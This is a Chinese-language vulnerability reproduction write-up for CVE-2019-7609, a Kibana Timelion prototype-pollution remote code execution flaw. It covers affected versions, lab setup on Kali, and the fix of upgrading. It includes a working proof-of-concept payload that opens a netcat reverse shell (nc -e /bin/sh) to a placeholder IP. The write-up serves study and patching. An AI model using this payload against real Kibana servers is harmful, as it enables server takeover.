CVE-2019-7609:Kibana遠程程式碼執行漏洞復現

  • 2019 年 12 月 15 日
  • 筆記

本文作者:TeddyGrey(Timeline Sec核心成員)

本文共1105字,閱讀大約需要3分鐘

0x00 簡介


Kibana 是為 Elasticsearch設計的開源分析和可視化平台。你可以使用 Kibana 來搜索,查看存儲在 Elasticsearch 索引中的數據並與之交互。你可以很容易實現高級的數據分析和可視化,以圖標的形式展現出來。

0x01 漏洞概述


攻擊者利用漏洞可以通過Timelion組件中的JavaScript原型鏈污染攻擊,向Kibana發起相關請求,從而接管所在伺服器,在伺服器上執行任意命令。

0x02 影響版本


Kibana < 6.6.1

Kibana < 5.6.15

0x03 環境搭建


本來是打算docker搭建的,奈何網路故障,索性直接kali搭建了

受影響的版本為Kibana < 6.6.0,這裡選擇了6.5.3進行搭建,修改虛擬機記憶體4G以上

1、Elasticsearch安裝

a) 首先去官網下載6.5.3的tar包並解壓

wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.5.3.tar.gz  tar -zxvf elasticsearch-6.5.3.tar.gz

b) 直接運行即可

cd elasticsearch-6.5.3  ./bin/elasticsearch

**此處有坑**:

i. es要用非root用戶啟動,否則會報` can not run elasticsearch as root`錯誤。

解決方法:使用非root用戶啟動即可。

ii. 如果前邊是用root用戶下載和解壓的es,直接用普通用戶啟動時會報` AccessDeniedException`錯誤

解決方法:改文件屬主

elk@kali:~$ sudo chown -R ubuntu ~/elasticsearch-6.5.3/

elk@kali:~$ sudo chgrp -R ubuntu ~/elasticsearch-6.5.3/

iii. es需要java支援,由於我是在kali上搭的,所以就沒寫java安裝的過程(kali自帶了openJDK)至於說java怎麼裝~emmm,是個好問題,百度去~

本文僅提供JDK網盤下載(公眾號回復JDK)

訪問http://127.0.0.1:9200/,長這個樣子就說明es啟動成功了

2、Kibana安裝

a) 官網下載壓縮包並解壓

wget https://artifacts.elastic.co/downloads/kibana/kibana-6.5.3-linux-x86_64.tar.gz  tar –zxvf kibana-5.4.3-linux-x86_64.tar.gz

b) 直接運行

cd kibana-5.4.3-linux-x86_64  ./bin/kibana

搭建成功,激動人心!

看一看版本號,嗯,是存在漏洞的樣子~

0x04 漏洞利用


漏洞點在Timelion處(名字和Timeline有點像)

直接填入Poc,過程和結果如圖:

有種「做飯半小時,吃飯十分鐘」的趕腳······【手動捂臉】

有人可能會說我的payload跟作者那個不一樣呢,我這個就是換了個反彈shell的方法,作者那個不曉得為啥我kali上一彈就崩2333

Poc:

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("nc -e /bin/sh xx.xx.xx.xx 4321");process.exit()//')  .props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

0x05 修復方式


升級Kibana至新版本

參考鏈接:

https://slides.com/securitymb/prototype-pollution-in-kibana/

https://blog.csdn.net/sweeper_freedoman/article/details/86227778

https://www.elastic.co/guide/en/kibana/6.5/targz.html

https://discuss.elastic.co/t/elastic-stack-6-6-1-and-5-6-15-security-update/169077

Tags: